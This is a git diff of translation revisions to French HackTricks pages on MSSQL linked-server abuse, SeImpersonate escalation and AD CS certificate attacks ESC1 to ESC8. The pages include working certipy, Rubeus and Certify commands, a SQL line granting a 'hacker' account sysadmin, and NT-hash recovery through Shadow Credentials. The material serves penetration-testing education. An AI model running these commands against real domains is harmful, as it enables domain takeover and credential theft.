**Les liens entre les bases de données fonctionnent même à travers les confiances inter-forêts.**
|
||||
|
||||
### Abus de Powershell
|
||||
```powershell
|
||||
|
@ -134,7 +139,7 @@ Depuis **Windows**, vous pourriez également trouver les liens et exécuter des
|
|||
|
||||
_Connexion en utilisant l'authentification Windows:_
|
||||
|
||||
![](<../../.gitbook/assets/image (805).png>)
|
||||
![](<../../.gitbook/assets/image (805).png>)
|
||||
|
||||
#### Trouver des liens de confiance
|
||||
```sql
|
||||
|
@ -173,8 +178,25 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
|||
```
|
||||
## Élévation locale des privilèges
|
||||
|
||||
L'utilisateur local **MSSQL** a généralement un type de privilège spécial appelé **`SeImpersonatePrivilege`**. Cela permet au compte d' "usurper l'identité d'un client après authentification".
|
||||
L'utilisateur local **MSSQL** a généralement un type de privilège spécial appelé **`SeImpersonatePrivilege`**. Cela permet au compte d'**"usurper un client après authentification"**.
|
||||
|
||||
Une stratégie que de nombreux auteurs ont développée consiste à forcer un service **SYSTEM** à s'authentifier auprès d'un service malveillant ou de type homme du milieu que l'attaquant crée. Ce service malveillant peut alors usurper l'identité du service **SYSTEM** pendant qu'il tente de s'authentifier.
|
||||
Une stratégie que de nombreux auteurs ont développée consiste à forcer un service **SYSTEM** à s'authentifier auprès d'un service malveillant ou de l'homme du milieu que l'attaquant crée. Ce service malveillant peut alors usurper le service **SYSTEM** pendant qu'il tente de s'authentifier.
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato) propose une collection de ces différentes techniques qui peuvent être exécutées via la commande `execute-assembly` de Beacon.
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,7 +14,11 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
**Il s'agit d'un résumé des sections des techniques d'élévation de privilèges des articles :**
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**Il s'agit d'un résumé des sections des techniques d'escalade des publications :**
|
||||
|
||||
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
|
||||
* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
|
@ -24,24 +28,24 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
### Explication
|
||||
|
||||
### Modèles de certificats mal configurés - ESC1 Expliqué
|
||||
### Explication des modèles de certificats mal configurés - ESC1
|
||||
|
||||
* **Les droits d'inscription sont accordés aux utilisateurs à faible privilège par l'entreprise CA.**
|
||||
* **Les droits d'inscription sont accordés aux utilisateurs à faibles privilèges par l'AC d'entreprise.**
|
||||
* **L'approbation du gestionnaire n'est pas requise.**
|
||||
* **Aucune signature du personnel autorisé n'est nécessaire.**
|
||||
* **Les descripteurs de sécurité sur les modèles de certificats sont excessivement permissifs, permettant aux utilisateurs à faible privilège d'obtenir des droits d'inscription.**
|
||||
* **Les modèles de certificats sont configurés pour définir des EKU qui facilitent l'authentification :**
|
||||
* Les identifiants d'utilisation étendue de la clé (EKU) tels que l'authentification client (OID 1.3.6.1.5.5.7.3.2), l'authentification client PKINIT (1.3.6.1.5.2.3.4), la connexion de carte à puce (OID 1.3.6.1.4.1.311.20.2.2), tout usage (OID 2.5.29.37.0), ou aucun EKU (SubCA) sont inclus.
|
||||
* **Aucune signature de personnel autorisé n'est nécessaire.**
|
||||
* **Les descripteurs de sécurité sur les modèles de certificats sont excessivement permissifs, permettant aux utilisateurs à faibles privilèges d'obtenir des droits d'inscription.**
|
||||
* **Les modèles de certificats sont configurés pour définir des EKU facilitant l'authentification :**
|
||||
* Les identifiants d'utilisation étendue de la clé (EKU) tels que l'authentification client (OID 1.3.6.1.5.5.7.3.2), l'authentification client PKINIT (1.3.6.1.5.2.3.4), la connexion par carte à puce (OID 1.3.6.1.4.1.311.20.2.2), tout usage (OID 2.5.29.37.0), ou aucun EKU (SubCA) sont inclus.
|
||||
* **La possibilité pour les demandeurs d'inclure un subjectAltName dans la demande de signature de certificat (CSR) est autorisée par le modèle :**
|
||||
* L'Active Directory (AD) donne la priorité au subjectAltName (SAN) dans un certificat pour la vérification de l'identité s'il est présent. Cela signifie qu'en spécifiant le SAN dans un CSR, un certificat peut être demandé pour se faire passer pour n'importe quel utilisateur (par exemple, un administrateur de domaine). La possibilité de spécifier un SAN par le demandeur est indiquée dans l'objet AD du modèle de certificat via la propriété `mspki-certificate-name-flag`. Cette propriété est un masque de bits, et la présence du drapeau `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permet la spécification du SAN par le demandeur.
|
||||
* L'Active Directory (AD) donne la priorité au subjectAltName (SAN) dans un certificat pour la vérification d'identité s'il est présent. Cela signifie qu'en spécifiant le SAN dans un CSR, un certificat peut être demandé pour se faire passer pour n'importe quel utilisateur (par exemple, un administrateur de domaine). La possibilité de spécifier un SAN par le demandeur est indiquée dans l'objet AD du modèle de certificat via la propriété `mspki-certificate-name-flag`. Cette propriété est un masque de bits, et la présence du drapeau `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permet au demandeur de spécifier le SAN.
|
||||
|
||||
{% hint style="danger" %}
|
||||
La configuration décrite permet aux utilisateurs à faible privilège de demander des certificats avec n'importe quel SAN de leur choix, permettant l'authentification en tant que n'importe quel principal de domaine via Kerberos ou SChannel.
|
||||
La configuration décrite permet aux utilisateurs à faibles privilèges de demander des certificats avec n'importe quel SAN de leur choix, permettant l'authentification en tant que n'importe quel principal de domaine via Kerberos ou SChannel.
|
||||
{% endhint %}
|
||||
|
||||
Cette fonctionnalité est parfois activée pour prendre en charge la génération à la volée de certificats HTTPS ou d'hôte par des produits ou des services de déploiement, ou en raison d'un manque de compréhension.
|
||||
|
||||
Il est noté que la création d'un certificat avec cette option déclenche un avertissement, ce qui n'est pas le cas lorsqu'un modèle de certificat existant (tel que le modèle `WebServer`, qui a `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé) est dupliqué puis modifié pour inclure un OID d'authentification.
|
||||
Il est à noter que la création d'un certificat avec cette option déclenche un avertissement, ce qui n'est pas le cas lorsqu'un modèle de certificat existant (tel que le modèle `WebServer`, qui a `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé) est dupliqué puis modifié pour inclure un OID d'authentification.
|
||||
|
||||
### Abus
|
||||
|
||||
|
@ -66,7 +70,7 @@ L'énumération des modèles de certificat dans le schéma de configuration de l
|
|||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
## Modèles de certificat mal configurés - ESC2
|
||||
## Modèles de certificats mal configurés - ESC2
|
||||
|
||||
### Explication
|
||||
|
||||
|
@ -76,27 +80,27 @@ Le deuxième scénario d'abus est une variation du premier :
|
|||
2. L'exigence d'approbation du gestionnaire est désactivée.
|
||||
3. Le besoin de signatures autorisées est omis.
|
||||
4. Un descripteur de sécurité excessivement permissif sur le modèle de certificat accorde des droits d'inscription aux certificats aux utilisateurs à faibles privilèges.
|
||||
5. **Le modèle de certificat est défini pour inclure l'EKU Any Purpose ou aucun EKU.**
|
||||
5. **Le modèle de certificat est défini pour inclure l'EKU Toutes fins ou aucune EKU.**
|
||||
|
||||
L'**EKU Any Purpose** permet à un certificat d'être obtenu par un attaquant pour **n'importe quel usage**, y compris l'authentification client, l'authentification serveur, la signature de code, etc. La même **technique utilisée pour ESC3** peut être utilisée pour exploiter ce scénario.
|
||||
L'**EKU Toutes fins** permet à un certificat d'être obtenu par un attaquant pour **n'importe quelle fin**, y compris l'authentification client, l'authentification serveur, la signature de code, etc. La même **technique utilisée pour ESC3** peut être utilisée pour exploiter ce scénario.
|
||||
|
||||
Les certificats **sans EKUs**, qui agissent comme certificats de CA subordonnés, peuvent être exploités pour **n'importe quel usage** et peuvent **également être utilisés pour signer de nouveaux certificats**. Par conséquent, un attaquant pourrait spécifier des EKUs ou des champs arbitraires dans les nouveaux certificats en utilisant un certificat de CA subordonné.
|
||||
Les certificats **sans EKU**, qui agissent comme certificats de CA subordonnés, peuvent être exploités pour **n'importe quelle fin** et peuvent **également être utilisés pour signer de nouveaux certificats**. Ainsi, un attaquant pourrait spécifier des EKU ou des champs arbitraires dans les nouveaux certificats en utilisant un certificat de CA subordonné.
|
||||
|
||||
Cependant, les nouveaux certificats créés pour **l'authentification de domaine** ne fonctionneront pas si la CA subordonnée n'est pas approuvée par l'objet **`NTAuthCertificates`**, qui est le paramètre par défaut. Néanmoins, un attaquant peut toujours créer de **nouveaux certificats avec n'importe quel EKU** et des valeurs de certificat arbitraires. Ceux-ci pourraient être potentiellement **abusés** pour une large gamme d'usages (par exemple, la signature de code, l'authentification serveur, etc.) et pourraient avoir des implications significatives pour d'autres applications dans le réseau comme SAML, AD FS, ou IPSec.
|
||||
Cependant, les nouveaux certificats créés pour **l'authentification de domaine** ne fonctionneront pas si la CA subordonnée n'est pas approuvée par l'objet **`NTAuthCertificates`**, qui est le paramètre par défaut. Néanmoins, un attaquant peut toujours créer de **nouveaux certificats avec n'importe quelle EKU** et des valeurs de certificat arbitraires. Ceux-ci pourraient être potentiellement **abusés** pour une large gamme de fins (par exemple, la signature de code, l'authentification serveur, etc.) et pourraient avoir des implications significatives pour d'autres applications dans le réseau comme SAML, AD FS, ou IPSec.
|
||||
|
||||
Pour énumérer les modèles correspondant à ce scénario dans le schéma de configuration de la forêt AD, la requête LDAP suivante peut être exécutée :
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
||||
```
|
||||
## Modèles d'Agent d'Inscription Mal Configurés - ESC3
|
||||
## Modèles d'agent d'inscription mal configurés - ESC3
|
||||
|
||||
### Explication
|
||||
|
||||
Ce scénario est similaire aux deux premiers mais **exploite** un **EKU différent** (Agent de Demande de Certificat) et **2 modèles différents** (donc il a 2 ensembles de conditions),
|
||||
Ce scénario est similaire aux deux premiers mais en **abusant** d'un **EKU différent** (Agent de demande de certificat) et de **2 modèles différents** (donc il a 2 ensembles de conditions),
|
||||
|
||||
L'**EKU de l'Agent de Demande de Certificat** (OID 1.3.6.1.4.1.311.20.2.1), connu sous le nom d'**Agent d'Inscription** dans la documentation Microsoft, permet à un principal de **s'inscrire** pour un **certificat** **au nom d'un autre utilisateur**.
|
||||
L'**EKU de l'agent de demande de certificat** (OID 1.3.6.1.4.1.311.20.2.1), connu sous le nom d'**Agent d'inscription** dans la documentation Microsoft, permet à un principal de **s'inscrire** pour un **certificat** au **nom d'un autre utilisateur**.
|
||||
|
||||
L'**"agent d'inscription"** s'inscrit dans un tel **modèle** et utilise le **certificat résultant pour co-signer une CSR au nom de l'autre utilisateur**. Il **envoie** ensuite la **CSR co-signée** au CA, s'inscrivant dans un **modèle** qui **autorise "l'inscription au nom de"**, et le CA répond avec un **certificat appartenant à l'utilisateur "autre"**.
|
||||
L'**"agent d'inscription"** s'inscrit dans un tel **modèle** et utilise le **certificat résultant pour cosigner une CSR au nom de l'autre utilisateur**. Il **envoie ensuite** la **CSR cosignée** au CA, s'inscrivant dans un **modèle** qui **autorise "l'inscription au nom de"**, et le CA répond avec un **certificat appartenant à l'utilisateur "autre"**.
|
||||
|
||||
**Conditions 1:**
|
||||
|
||||
|
@ -104,15 +108,15 @@ L'**"agent d'inscription"** s'inscrit dans un tel **modèle** et utilise le **ce
|
|||
* L'exigence d'approbation du gestionnaire est omise.
|
||||
* Aucune exigence de signatures autorisées.
|
||||
* Le descripteur de sécurité du modèle de certificat est excessivement permissif, accordant des droits d'inscription aux utilisateurs à faibles privilèges.
|
||||
* Le modèle de certificat inclut l'EKU de l'Agent de Demande de Certificat, permettant la demande d'autres modèles de certificat au nom d'autres principaux.
|
||||
* Le modèle de certificat inclut l'EKU de l'agent de demande de certificat, permettant la demande d'autres modèles de certificat au nom d'autres principaux.
|
||||
|
||||
**Conditions 2:**
|
||||
|
||||
* Le CA d'entreprise accorde des droits d'inscription aux utilisateurs à faibles privilèges.
|
||||
* L'approbation du gestionnaire est contournée.
|
||||
* La version du schéma du modèle est soit 1, soit dépasse 2, et spécifie une exigence d'émission de politique d'application qui nécessite l'EKU de l'Agent de Demande de Certificat.
|
||||
* La version du schéma du modèle est soit 1, soit dépasse 2, et spécifie une exigence d'émission de politique d'application qui nécessite l'EKU de l'agent de demande de certificat.
|
||||
* Un EKU défini dans le modèle de certificat permet l'authentification de domaine.
|
||||
* Les restrictions pour les agents d'inscription ne sont pas appliquées sur le CA.
|
||||
* Aucune restriction pour les agents d'inscription n'est appliquée sur le CA.
|
||||
|
||||
### Abus
|
||||
|
||||
|
@ -130,7 +134,7 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
|||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
Les **utilisateurs** autorisés à **obtenir** un **certificat d'agent d'inscription**, les modèles dans lesquels les **agents** d'inscription sont autorisés à s'inscrire, et les **comptes** pour lesquels l'agent d'inscription peut agir peuvent être restreints par les CA d'entreprise. Cela est réalisé en ouvrant le `certsrc.msc` **snap-in**, en **cliquant avec le bouton droit sur le CA**, en **cliquant sur Propriétés**, puis en **naviguant** vers l'onglet "Agents d'inscription".
|
||||
Les **utilisateurs** autorisés à **obtenir** un **certificat d'agent d'inscription**, les modèles dans lesquels les **agents** d'inscription sont autorisés à s'inscrire, et les **comptes** pour lesquels l'agent d'inscription peut agir peuvent être restreints par les CA d'entreprise. Cela est réalisé en ouvrant le `certsrc.msc` **snap-in**, en **cliquant avec le bouton droit sur la CA**, en **cliquant sur Propriétés**, puis en **naviguant** vers l'onglet "Agents d'inscription".
|
||||
|
||||
Cependant, il est noté que le paramètre **par défaut** pour les CA est "Ne pas restreindre les agents d'inscription". Lorsque la restriction sur les agents d'inscription est activée par les administrateurs, en la définissant sur "Restreindre les agents d'inscription", la configuration par défaut reste extrêmement permissive. Cela permet à **Tout le monde** d'accéder à tous les modèles pour s'inscrire en tant que n'importe qui.
|
||||
|
||||
|
@ -158,7 +162,7 @@ Un exemple d'une élévation de privilèges comme le précédent :
|
|||
|
||||
ESC4 est lorsque qu'un utilisateur a des privilèges d'écriture sur un modèle de certificat. Cela peut par exemple être exploité pour écraser la configuration du modèle de certificat afin de le rendre vulnérable à ESC1.
|
||||
|
||||
Comme on peut le voir dans le chemin ci-dessus, seul `JOHNPC` a ces privilèges, mais notre utilisateur `JOHN` a le nouvel avantage `AddKeyCredentialLink` vers `JOHNPC`. Puisque cette technique est liée aux certificats, j'ai également mis en œuvre cette attaque, connue sous le nom de [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Voici un petit aperçu de la commande `shadow auto` de Certipy pour récupérer le hachage NT de la victime.
|
||||
Comme nous pouvons le voir dans le chemin ci-dessus, seul `JOHNPC` a ces privilèges, mais notre utilisateur `JOHN` a le nouvel avantage `AddKeyCredentialLink` vers `JOHNPC`. Puisque cette technique est liée aux certificats, j'ai également mis en œuvre cette attaque, connue sous le nom de [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Voici un petit aperçu de la commande `shadow auto` de Certipy pour récupérer le hachage NT de la victime.
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
|
@ -181,17 +185,17 @@ Le vaste réseau de relations interconnectées basées sur les ACL, qui inclut p
|
|||
|
||||
- L'objet ordinateur AD du serveur CA, qui peut être compromis par des mécanismes comme S4U2Self ou S4U2Proxy.
|
||||
- Le serveur RPC/DCOM du serveur CA.
|
||||
- Tout objet AD descendant ou conteneur dans le chemin de conteneur spécifique `CN=Services de clés publiques,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Ce chemin inclut, sans s'y limiter, des conteneurs et des objets tels que le conteneur Modèles de certificats, le conteneur Autorités de certification, l'objet NTAuthCertificates et le conteneur Services d'inscription.
|
||||
- Tout objet AD descendant ou conteneur dans le chemin de conteneur spécifique `CN=Services de clés publiques,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Ce chemin inclut, mais sans s'y limiter, des conteneurs et objets tels que le conteneur Modèles de certificats, le conteneur Autorités de certification, l'objet NTAuthCertificates et le conteneur Services d'inscription.
|
||||
|
||||
La sécurité du système PKI peut être compromise si un attaquant à faibles privilèges parvient à prendre le contrôle de l'un de ces composants critiques.
|
||||
|
||||
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
|
||||
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
|
||||
|
||||
### Explication
|
||||
|
||||
Le sujet discuté dans le [**article de l'Académie CQure**](https://cqureacademy.com/blog/enhanced-key-usage) aborde également les implications du drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, telles que décrites par Microsoft. Cette configuration, lorsqu'elle est activée sur une Autorité de Certification (CA), permet l'inclusion de **valeurs définies par l'utilisateur** dans le **nom alternatif du sujet** pour **toute demande**, y compris celles construites à partir d'Active Directory®. Par conséquent, cette disposition permet à un **intrus** de s'inscrire via **n'importe quel modèle** configuré pour l'**authentification de domaine**—en particulier ceux ouverts à l'inscription d'utilisateurs **non privilégiés**, comme le modèle Utilisateur standard. En conséquence, un certificat peut être sécurisé, permettant à l'intrus de s'authentifier en tant qu'administrateur de domaine ou **toute autre entité active** dans le domaine.
|
||||
Le sujet discuté dans le [**article de l'Académie CQure**](https://cqureacademy.com/blog/enhanced-key-usage) aborde également les implications du drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, telles que décrites par Microsoft. Cette configuration, lorsqu'elle est activée sur une Autorité de Certification (CA), permet l'inclusion de **valeurs définies par l'utilisateur** dans le **nom alternatif du sujet** pour **toute demande**, y compris celles construites à partir d'Active Directory®. Par conséquent, cette disposition permet à un **intrus** de s'inscrire via **n'importe quel modèle** configuré pour l'**authentification de domaine** - en particulier ceux ouverts à l'inscription d'utilisateurs **non privilégiés**, comme le modèle Utilisateur standard. En conséquence, un certificat peut être sécurisé, permettant à l'intrus de s'authentifier en tant qu'administrateur de domaine ou **toute autre entité active** dans le domaine.
|
||||
|
||||
**Remarque** : L'approche pour ajouter des **noms alternatifs** dans une Demande de Signature de Certificat (CSR), via l'argument `-attrib "SAN:"` dans `certreq.exe` (appelés "Paires Nom-Valeur"), présente un **contraste** par rapport à la stratégie d'exploitation des SAN dans ESC1. Ici, la distinction réside dans **la manière dont les informations de compte sont encapsulées**—dans un attribut de certificat, plutôt que dans une extension.
|
||||
**Remarque** : L'approche pour ajouter des **noms alternatifs** dans une Demande de Signature de Certificat (CSR), via l'argument `-attrib "SAN:"` dans `certreq.exe` (appelé "Paires Nom-Valeur"), présente un **contraste** avec la stratégie d'exploitation des SAN dans ESC1. Ici, la distinction réside dans **la manière dont les informations de compte sont encapsulées** - dans un attribut de certificat, plutôt que dans une extension.
|
||||
|
||||
### Abus
|
||||
|
||||
|
@ -221,7 +225,7 @@ Pour désactiver cette configuration dans votre environnement, le drapeau peut
|
|||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Après les mises à jour de sécurité de mai 2022, les **certificats** nouvellement émis contiendront une **extension de sécurité** qui intègre la **propriété `objectSid` du demandeur**. Pour ESC1, ce SID est dérivé du SAN spécifié. Cependant, pour **ESC6**, le SID reflète l'**`objectSid` du demandeur**, et non le SAN.\
|
||||
Après les mises à jour de sécurité de mai 2022, les **certificats** nouvellement émis contiendront une **extension de sécurité** qui intègre la **propriété `objectSid` du demandeur**. Pour ESC1, ce SID est dérivé du SAN spécifié. Cependant, pour **ESC6**, le SID reflète l'`objectSid` du demandeur, et non le SAN.\
|
||||
Pour exploiter ESC6, il est essentiel que le système soit vulnérable à ESC10 (Mappings de certificats faibles), qui donne la priorité au **SAN sur la nouvelle extension de sécurité**.
|
||||
{% endhint %}
|
||||
|
||||
|
@ -241,9 +245,9 @@ Cela fournit des informations sur les droits principaux, à savoir **`ManageCA`*
|
|||
|
||||
Avoir des droits **`ManageCA`** sur une autorité de certification permet au principal de manipuler les paramètres à distance en utilisant PSPKI. Cela inclut le basculement du drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`** pour permettre la spécification SAN dans n'importe quel modèle, un aspect critique de l'escalade de domaine.
|
||||
|
||||
La simplification de ce processus est réalisable grâce à l'utilisation de la cmdlet **Enable-PolicyModuleFlag** de PSPKI, permettant des modifications sans interaction directe avec l'interface graphique.
|
||||
La simplification de ce processus est réalisable grâce à l'utilisation de la cmdlet **Enable-PolicyModuleFlag** de PSPKI, permettant des modifications sans interaction GUI directe.
|
||||
|
||||
La possession des droits **`ManageCertificates`** facilite l'approbation des demandes en attente, contournant efficacement la protection "approbation du gestionnaire de certificat de CA".
|
||||
La possession des droits **`ManageCertificates`** facilite l'approbation des demandes en attente, contournant ainsi efficacement la sauvegarde "approbation du gestionnaire de certificat de CA".
|
||||
|
||||
Une combinaison des modules **Certify** et **PSPKI** peut être utilisée pour demander, approuver et télécharger un certificat :
|
||||
```powershell
|
||||
|
@ -266,7 +270,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
|||
#### Explication
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dans l'**attaque précédente**, les autorisations **`Gérer CA`** ont été utilisées pour **activer** le drapeau **EDITF\_ATTRIBUTESUBJECTALTNAME2** afin d'effectuer l'attaque **ESC6**, mais cela n'aura aucun effet tant que le service CA (`CertSvc`) n'est pas redémarré. Lorsqu'un utilisateur a le droit d'accès `Gérer CA`, l'utilisateur est également autorisé à **redémarrer le service**. Cependant, cela **ne signifie pas que l'utilisateur peut redémarrer le service à distance**. De plus, **ESC6** pourrait ne pas fonctionner immédiatement dans la plupart des environnements patchés en raison des mises à jour de sécurité de mai 2022.
|
||||
Dans l'**attaque précédente** les autorisations **`Gérer CA`** ont été utilisées pour **activer** le drapeau **EDITF\_ATTRIBUTESUBJECTALTNAME2** afin d'effectuer l'attaque **ESC6**, mais cela n'aura aucun effet tant que le service CA (`CertSvc`) n'est pas redémarré. Lorsqu'un utilisateur a le droit d'accès `Gérer CA`, l'utilisateur est également autorisé à **redémarrer le service**. Cependant, cela **ne signifie pas que l'utilisateur peut redémarrer le service à distance**. De plus, **ESC6** pourrait ne pas fonctionner immédiatement dans la plupart des environnements patchés en raison des mises à jour de sécurité de mai 2022.
|
||||
{% endhint %}
|
||||
|
||||
Par conséquent, une autre attaque est présentée ici.
|
||||
|
@ -274,10 +278,10 @@ Par conséquent, une autre attaque est présentée ici.
|
|||
Prérequis :
|
||||
|
||||
* Seulement la permission **`GérerCA`**
|
||||
* Permission **`Gérer Certificats`** (peut être accordée à partir de **`GérerCA`**)
|
||||
* Le modèle de certificat **`SubCA`** doit être **activé** (peut être activé à partir de **`GérerCA`**)
|
||||
* Permission **`Gérer Certificats`** (peut être accordée depuis **`GérerCA`**)
|
||||
* Le modèle de certificat **`SubCA`** doit être **activé** (peut être activé depuis **`GérerCA`**)
|
||||
|
||||
La technique repose sur le fait que les utilisateurs ayant le droit d'accès `Gérer CA` _et_ `Gérer Certificats` peuvent **émettre des demandes de certificat en échec**. Le modèle de certificat **`SubCA`** est **vulnérable à ESC1**, mais **seuls les administrateurs** peuvent s'inscrire dans le modèle. Ainsi, un **utilisateur** peut **demander** à s'inscrire dans le **`SubCA`** - ce qui sera **refusé** - mais **ensuite émis par le gestionnaire par la suite**.
|
||||
La technique repose sur le fait que les utilisateurs ayant le droit d'accès `Gérer CA` _et_ `Gérer Certificats` peuvent **émettre des demandes de certificat en échec**. Le modèle de certificat **`SubCA`** est **vulnérable à ESC1**, mais **seuls les administrateurs** peuvent s'inscrire dans le modèle. Ainsi, un **utilisateur** peut **demander** à s'inscrire dans le **`SubCA`** - ce qui sera **refusé** - mais **ensuite émis par le gestionnaire**.
|
||||
|
||||
#### Abus
|
||||
|
||||
|
@ -321,7 +325,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
|
||||
[*] Successfully issued certificate
|
||||
```
|
||||
Et enfin, nous pouvons **récupérer le certificat émis** avec la commande `req` et le paramètre `-retrieve <ID de la demande>`.
|
||||
Et enfin, nous pouvons **récupérer le certificat délivré** avec la commande `req` et le paramètre `-retrieve <ID de la demande>`.
|
||||
```bash
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -333,12 +337,12 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
[*] Loaded private key from '785.key'
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
```
|
||||
## Relais NTLM vers les points de terminaison HTTP AD CS - ESC8
|
||||
## NTLM Relay vers les points de terminaison HTTP AD CS - ESC8
|
||||
|
||||
### Explication
|
||||
|
||||
{% hint style="info" %}
|
||||
Dans les environnements où **AD CS est installé**, s'il existe un **point de terminaison d'inscription web vulnérable** et qu'au moins un **modèle de certificat est publié** qui autorise **l'inscription des ordinateurs de domaine et l'authentification des clients** (comme le modèle par défaut **`Machine`**), il devient possible pour **n'importe quel ordinateur avec le service spouleur actif d'être compromis par un attaquant**!
|
||||
Dans les environnements où **AD CS est installé**, si un **point de terminaison d'inscription web vulnérable** existe et qu'au moins un **modèle de certificat est publié** qui permet l'**inscription des ordinateurs de domaine et l'authentification des clients** (comme le modèle par défaut **`Machine`**), il devient possible pour **n'importe quel ordinateur avec le service spouleur actif d'être compromis par un attaquant**!
|
||||
{% endhint %}
|
||||
|
||||
Plusieurs **méthodes d'inscription basées sur HTTP** sont prises en charge par AD CS, rendues disponibles via des rôles serveur supplémentaires que les administrateurs peuvent installer. Ces interfaces pour l'inscription de certificats basée sur HTTP sont susceptibles aux **attaques de relais NTLM**. Un attaquant, à partir d'une **machine compromise, peut se faire passer pour n'importe quel compte AD qui s'authentifie via NTLM entrant**. En se faisant passer pour le compte de la victime, ces interfaces web peuvent être accessibles par un attaquant pour **demander un certificat d'authentification client en utilisant les modèles de certificat `User` ou `Machine`**.
|
||||
|
@ -354,7 +358,7 @@ Cependant, cette limitation est surmontée en exploitant une attaque de relais N
|
|||
[account-persistence.md](account-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Une autre limitation des attaques de relais NTLM est que **une machine contrôlée par l'attaquant doit être authentifiée par un compte victime**. L'attaquant pourrait soit attendre, soit tenter de **forcer** cette authentification :
|
||||
Une autre limitation des attaques de relais NTLM est que **une machine contrôlée par un attaquant doit être authentifiée par un compte victime**. L'attaquant pourrait soit attendre, soit tenter de **forcer** cette authentification :
|
||||
|
||||
{% content-ref url="../printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
|
||||
|
@ -368,7 +372,7 @@ Certify.exe cas
|
|||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (69).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
